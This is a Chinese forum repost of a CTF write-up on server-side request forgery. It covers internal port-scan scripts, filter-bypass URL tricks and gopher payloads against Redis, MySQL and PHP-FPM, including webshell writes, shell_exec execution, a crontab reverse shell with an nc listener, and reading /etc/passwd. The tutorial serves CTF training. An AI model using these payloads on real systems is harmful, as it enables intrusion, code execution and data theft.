本帖最后由 gclome 于 2020-10-24 09:25 编辑
原文链接： 浅谈ssrf与ctf那些事
前言
有关SSRF(Server-Side Request Forgery:服务器端请求伪造)介绍的文章很多了，这里主要是把自己学习和打ctf中遇到的一些trick和用法整理和记录一下。
有个最基本的问题就是，如何判断ctf题目是考察SSRF或者说存在SSRF的点呢，首先要知道出现ssrf的函数基本就这几个file_get_contents()、curl()、fsocksopen()、fopen()，如果获取到题目源码了，源码中存在这些个函数就大致可以判断是否有ssrf，如果没有题目的源码，ssrf的入口一般是出现在调用外部资源的地方，比如url有个参数让你传或者是在html中的输入框，然后就用http://，file://，dict://协议读取一下。
举个例子，近日打的西湖论剑有一道题为flagshop中用ssrf读文件
 
SSRF常见用法探测内网
在CTF中，ssrf最常见的就是探测内网，如果找到了内网IP的网段，可以尝试用暴力破解去探测内网的IP，下面给出几种常见的探测方法。
这里给出一个通用的python脚本
- # -*- coding: utf-8 -*-
- import requests
- import time
- ports = ['80','6379','3306','8080','8000']
- session = requests.Session();
- for i in range(1, 255):
- ip = '192.168.0.%d' % i #内网ip地址
- for port in ports:
- url = 'http://ip/?url=http://%s:%s' %(ip,port)
- try:
- res = session.get(url,timeout=3)
- if len(res.text) != 0 : #这里长度根据实际情况改
- print(ip,port,'is open')
- except:
- continue
- print('Done')
这里写的是爆破指定的一些端口和IP的D段，注意的是有些题目会给出端口的范围，就可以把ports改为range()指定为一定的范围，然后返回的长度len(res.text)要先自己测一下。 可以选择用burpsuite软件中Intruder去爆破，具体过程就不赘述了。 扫描目标开放端口，直接用nmap一把梭。 - nmap -sV ip
- nmap -sV ip -p6379 //指定6379端口扫描
练习：可以在CTFHub中技能树->ssrf->端口扫描中尝试一下。
SSRF中的bypass
在ctf中，有时候会ban一些指定的ip，比如127.0.0.1，有时候是检查一整段127.0.0.1，或者是通过正则去匹配逐个字符，这里介绍一下如何去绕过这些WAF。
有一个网站地址是：xip.io，当访问这个服务的任意子域名的时候，都会重定向到这个子域名，举个例子：
当我们访问：http://127.0.0.1.xip.io/1.php，实际上访问的是http://127.0.0.1/1.php。
像这种网址还有nip.io，sslip.io。
如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1，就可以用这种方法绕过，但是如果是检查是否存在关键字127.0.0.1，这种方法就不可行了，这里介绍第二种302方法。
短地址跳转绕过，这里也给出一个网址4m.cn
直接用https://4m.cn/FjOdQ就就会302跳转，这样就可以绕过WAF了。
可以使用一些不同的进制替代ip地址，从而绕过WAF，这里给出个php脚本可以一键转换。
- <?php
- $ip = '127.0.0.1';
- $ip = explode('.',$ip);
- $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
- if($r < 0) {
- $r += 4294967296;
- }
- echo "十进制:";
- echo $r;
- echo "八进制:";
- echo decoct($r);
- echo "十六进制:";
- echo dechex($r);
- ?>
注意八进制ip前要加上一个0，其中八进制前面的0可以为多个，十六进制前要加上一个0x。
如果你自己有域名的话，可以在域名上设置A记录，指向127.0.0.1。
http://www.baidu.com@127.0.0.1与http://127.0.0.1请求是相同的。
- 1. http://localhost/
- 2. http://0/
- 3. http://[0:0:0:0:0:ffff:127.0.0.1]/
- 4. http://[::]:80/
- 5. http://127。0。0。1/
- 6. http://①②⑦.⓪.⓪.①
- 7. http://127.1/
- 8. http://127.00000.00000.001/
第1行localhost就是代指127.0.0.1 第2行中0在window下代表0.0.0.0，而在liunx下代表127.0.0.1 第3行指向127.0.0.1，在liunx下可用，window测试了下不行 第4行指向127.0.0.1，在liunx下可用，window测试了下不行 第5行用中文句号绕过 第6行用的是Enclosed alphanumerics方法绕过，英文字母以及其他一些可以网上找找 第7.8行中0的数量多一点少一点都没影响，最后还是会指向127.0.0.1 不存在协议头绕过有关file_get_contents()函数的一个trick，可以看作是SSRF的一个黑魔法，当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹，造成目录穿越漏洞，这时候只需不断往上跳转目录即可读到根目录的文件。 例子： - <?php
- highlight_file(__FILE__);
- if(!preg_match('/^https/is',$_GET['a'])){
- die("no hack");
- }
- echo file_get_contents($_GET['a']);
- ?>
httpsssss://配合目录回退读取文件的两种方式：
- httpsssss://../../../../../../etc/passwd
- httpsssss://abc../../../../../../etc/passwd
这样做的目的就是可以在SSRF的众多协议被ban的情况下来进行读取文件。
在ctf.show月饼杯的web2_故人心就遇到这个点。
URL的解析问题绕过端口：
我们在phpstudy中写下ssrf.php
- <?php
- $url = 'http://'. $_GET[url];
- $parsed = parse_url($url);
- if( $parsed[port] == 80 ){
- readfile($url);
- } else {
- die('You Shall Not Pass');
- }
并在使用python在另一个端口起一个服务
在ssrf.php中代码限制parse_url中的port只能等于80，如果我们需要用readfile去读其他端口的文件的话，可以用如下绕过：
- http://127.0.0.1/ssrf.php?url=127.0.0.1:11211:80/1.txt
可以看到成功读取了11211端口中的1.txt文件，这里借用blackhat的一张图。
可以看出readfile函数获取的端口是前面一部分的，而parse_url则是最后冒号的端口，利用这种差异的不同，从而绕过WAF。
这两个函数在解析host的时候也有差异，如下图
从图中可以看到curl解析的是第一个@后面的网址，而parse_url解析的是第二个@的网址。
在极客大挑战有一道题就考了这个点，源码如下：
- <?php
- highlight_file(__FILE__);
- function check_inner_ip($url)
- {
- $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
- if (!$match_result)
- {
- die('url fomat error');
- }
- try
- {
- $url_parse=parse_url($url);
- }
- catch(Exception $e)
- {
- die('url fomat error');
- return false;
- }
- $hostname=$url_parse['host'];
- $ip=gethostbyname($hostname);
- $int_ip=ip2long($ip);
- return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
- }
- function safe_request_url($url)
- {
- if (check_inner_ip($url))
- {
- echo $url.' is inner ip';
- }
- else
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- $output = curl_exec($ch);
- $result_info = curl_getinfo($ch);
- if ($result_info['redirect_url'])
- {
- safe_request_url($result_info['redirect_url']);
- }
- curl_close($ch);
- var_dump($output);
- }
- }
- $url = $_GET['url'];
- if(!empty($url)){
- safe_request_url($url);
- }
- ?>
可以看到check_inner_ip 通过 url_parse检测是否为内网ip，如果满足不是内网 ip ，通过 curl 请求 url 返回结果，这题就可以利用curl和parse_url解析的差异不同来绕过，让 parse_url 处理外部网站，最后 curl 请求内网网址。 最后的payload为 - http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php
有关URL的解析问题更加详细可参考：https://www.blackhat.com/docs/us ... mming-Languages.pdf SSRF进阶用法攻击Redis服务
Redis一般都是绑定在6379端口，如果没有设置口令（默认是无），攻击者就可以通过SSRF漏洞未授权访问内网Redis，一般用来写入Crontab定时任务用来反弹shell，或者写入webshell等等。 在CTF题目中如果找到了内网的服务开了6379端口，一般来说就是Redis未授权访问漏洞，并且没有ban掉gopher://，可以用网上的脚本一把梭。这里推荐一个工具gopherus：https://github.com/tarunkant/Gopherus 运行命令： - python gopherus.py --exploit redis
之后具体操作看图：
首先会让你选择ReverseShell/PHPShell，前者是反弹shell，后者是写入shell，这里我们选择写入shell，然后第二步让你选择默认目录，这里一般选择默认即可，第三步写入要执行的PHP代码。
在有SSRF漏洞的地方输入生成的payload—即gopher://127.0.0.1:6379后面一大段，接下来会在目录下生成shell.php。
要注意的是如果是在html的输入框中直接输入提交就行，但要在浏览器的URL输入的话，一定要记得URL编码一次。
相关例题：[GKCTF2020]EZ三剑客-EzWeb或者CTFHub中技能树->ssrf->redis
对于Redis服务一般还有通过写入定时任务来触发反弹shell的操作，可以使用上面的工具选择ReverseShell也可以一键生成payload
选择ReverseShell，然后写入你要反弹到的VPS的地址，因为这里监听端口工具写好是1234了，所以我们直接在VPS监听nc -lvp 1234即可。
因为我没有在CTF题目中利用过反弹shell这个点，这里就不演示过程了，至于复现过程的话可以在Weblgic靶场复现一下反弹shell，相关的文章讲解也有很多，这里不再赘述了。
攻击Mysql服务
如果内网开启了3306端口，存在没有密码的mysql，则也可以使用gopher协议进行ssrf攻击。
本地复现过程：
先在本地新建一个无密码的用户
- CREATE USER 'kawhi'@'localhost';
- GRANT ALL ON *.* TO 'kawhi'@'localhost';
运行完成之后可以打开phpmyadmin登录看看是否成功，然后这里比较简单的方法也是利用上述工具gopherus。
第一步写入用户的名字，第二步写入要查询的语句，将生成的payload再url编码一次，直接打。
可以看到成功读取到users表的信息，达到了我们mysql未授权访问数据的目的。
这种利用SSRF打mysql也曾经在CTF中出现过：ISITDTU 2018 Friss这道题，题目复现过程可参考：https://xz.aliyun.com/t/2500，这里就不赘述了。
Gopher发送请求SSRF
漏洞是服务端请求伪造攻击，不论是GET或者是POST方法，都是为了达到一个目的，就是让服务端帮我们来执行请求。
那么在CTF中什么情况需要利用到这种方法呢，比如发现了一个内网的应用有上传的功能，我们需要通过POST提交数据，而且Gopher协议没有被ban，我们就可以考虑构造一个请求去打内网，下面先从本地看看如何构造：
通常，我们可以利用gopher://协议可以用来发送Get和Post请求，需要注意的点是要对发送的请求头中的空格和一些特殊字符进行url编码，如果是在URL中提交payload的时侯要再进行一次url编码，先来看看如何发送简单的请求。
在phpstudy写入1.php
- <?php
- echo "Hello".$_POST['a'];
- POST /1.php HTTP/1.1
- Host: 192.168.0.102
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 7
- a=world
然后需要对空格和一些特殊字符进行url编码，注意把其中的换行的地方加上%0D%0A，当然手动加肯定是太麻烦了，这里给出一个脚本。 一键编码脚本： - import urllib
- import requests
- test =\
- """POST /1.php HTTP/1.1
- Host: 192.168.0.102
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 7
- a=world
- """
- tmp = urllib.parse.quote(test)
- new = tmp.replace('%0A','%0D%0A')
- result = '_'+new
- print(result)
- gopher://192.168.0.102:80/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.0.102%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%207%0D%0A%0D%0Aa%3Dworld%0D%0A
然后用curl命令发出我们的请求，可以看到成功获取响应包了。
需要注意的是，如果要在url传入的话需要将发送的POST后面一大串再url编码一次，比如，我们在phpstudy写入一个有ssrf漏洞的ssrf.php
- <?php
- function curl($url){
- //创建一个新的curl资源
- $ch = curl_init();
- //设置URL和相应的选项
- curl_setopt($ch,CURLOPT_URL,$url);
- curl_setopt($ch,CURLOPT_HEADER,false);
- //抓取URL并把它传递给浏览器
- curl_exec($ch);
- //关闭curl资源，并且释放系统资源
- curl_close($ch);
- }
- $url = $_GET['url'];
- curl($url);
- ?>
直接我们上面的payload传入url，会发现没回显。
把gopher协议全部再url编码一遍就可以成功回显。
GET请求发送和POST请求基本一样，这里就不再赘述了。
相关例题：2020强网杯half_infiltration
通过前面一系列操作获得ssrf.php
- <?php
- //经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
- $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
- if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
- die("");
- }
- if($url)
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_exec($ch);
- curl_close($ch);
- }
- ?>
跑端口40000跑出来个登录框，然后有上传功能，参数file和content是上传文件 于是用gopher协议发送一个POST请求写马，payload如下： - gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1
- Host: 127.0.0.1
- Cookie: PHPSESSID=bv2afbkkbbpgkio8tjmai40ob7
- Content-Length: 174
- Content-Type: application/x-www-form-urlencoded
- Connection: close
- file=php://filter/%2577rite=string.rot13|convert.Base64-decode|convert.iconv.utf-7.utf-8/resource=1.php&content=K0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
最后payload如下，传入参数需要注意二次url编码：
- http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%2520/index.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250ACookie%253A%2520PHPSESSID%253Dbv2afbkkbbpgkio8tjmai40ob7%250AContent-Length%253A%2520174%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AConnection%253A%2520close%250d%250A%250Afile%253Dphp%253A//filter/%25252577rite%253Dstring.rot13%257Cconvert.Base64-decode%257Cconvert.iconv.utf-7.utf-8/resource%253D1.php%2526content%253DK0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
PHP-FPM攻击
首先，PHP-FPM是实现和管理FastCGI的进程，是一个FastCGI协议解析器，而Fastcgi本质是一个通信协议，类似于HTTP，都是进行数据交换的一个通道，通信过程如下：
TCP模式下在本机监听一个端口（默认为9000），Nginx把客户端数据通过FastCGI协议传给9000端口，PHP-FPM拿到数据后会调用CGI进程解析。
而PHP-FPM攻击是通过伪造FastCGI协议包实现PHP代码执行，我们可以通过更改配置信息来执行任意代码。php中有两个非常有趣的配置项，（想了解更多关于php配置项，可以看我之前写的一篇文章：CTF中.htaccess文件的利用），分别为auto_prepend_file和auto_append_file，这两个配置项是使得php在执行目标文件之前，先包含配置项中指定的文件，如果我们把auto_prepend_file或auto_append_file的值设定为php://input，就能包含进POST提交的数据。
但是这里有个问题就是php://input需要开启allow_url_include，这里可以利用PHP_ADMIN_VALUE，上一篇说到PHP_ADMIN_VALUE不可以利用在.htaccess，但是FastCGI协议中PHP_ADMIN_VALUE却用来可以修改大部分的配置，我们利用PHP_ADMIN_VALUE把allow_url_include修改为True。
复现过程如下：
第一步：
现在liunx下启动一个监听并指定写入1.txt。
第二步：
这里使用P神写好的一个exp
- https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
- python 1.py -c "<?php var_dump(shell_exec('uname -a'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
然后会生成一个1.txt文件
第三步：
将生成的1.txt文件双url编码，老生常谈，因为要在浏览器url输入必须要再编码一次，这里直接给出脚本，脚本我顺便加上了gopher协议等等可以直接打，如果题目ip不同可以自行更改。
- import urllib.parse
- f = open(r'1.txt','rb')
- s = f.read()
- s = urllib.parse.quote(s)
- s = urllib.parse.quote(s)
- print("gopher://127.0.0.1:9000/_"+s)
- gopher://127.0.0.1:9000/_%2501%2501E%25D3%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504E%25D3%2501%25E7%2500%2500%250E%2502CONTENT_LENGTH41%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%251BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%250B%251BSCRIPT_NAME/usr/local/lib/php/PEAR.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%251BREQUEST_URI/usr/local/lib/php/PEAR.php%2501%2504E%25D3%2500%2500%2500%2500%2501%2505E%25D3%2500%2529%2500%2500%253C%253Fphp%2520var_dump%2528shell_exec%2528%2527uname%2520-a%2527%2529%2529%253B%253F%253E%2501%2505E%25D3%2500%2500%2500%2500
- <?php var_dump(shell_exec('uname -a'));?>
DNS-rebinding
有时候ssrf的过滤中会出现这种情况，通过对传入的url提取出host地址，然后进行dns解析，获取ip地址，然后对ip地址进行检验，如果合法再利用curl请求的时候会发起第二次请求。
DNS-rebinding就是利用第一次请求的时候解析的是合法的地址，而第二次解析的时候是恶意的地址，这个技术已经被广泛用于bypass同源策略，绕过ssrf的过滤等等。
利用过程：
首先需要拥有一个域名，然后添加两条记录类型为A的域名解析，一条的记录值为127.0.0.1，另一条随便写个外网地址即可
但是这种方法是随机解析的，所以只有在第一次解析出来是个外网ip，第二次解析出来是个内网ip才能成功，也就是说成功的概率为1/4。
这里我在CTFhub的DNS重绑定实验下直接演示：
如果没有域名的话，可以去平台http://ceye.io/上的dns rebinding工具，利用过程如下：
在profile下添加内网地址
这样的话是会随机返回地址的，也能完成DNS-rebinding攻击
关于更多的DNS-rebinding攻击利用方法见参考链接
总结
在ctf中ssrf一般不会单独出题，大多数情况下是作为其中一个利用点，知识点看起来就那几个，总结起来还挺多的，由于水平有限，本篇可能还有一些点没有提到，比如赵总最近写了一个ssrf新的利用方法：https://www.zhaoj.in/read-6681.html，有兴趣可以看看。
参考链接
- https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
- http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/
相关实验（点击阅读原文做实验）
- SSRF漏洞分析与实践
- https://www.hetianlab.com/expc.do?ec=ECID725a-bf5b-43a5-a0d8-21cdb973983f&pk_campaign=weixin-wemedia
- （SSRF（server-side request forge，服务端请求伪造），是攻击者让服务端发起构造的指定请求链接造成的漏洞。通过该实验了解SSRF漏洞的基础知识及演示实践。）
| 
发表于 2020-10-24 09:23:29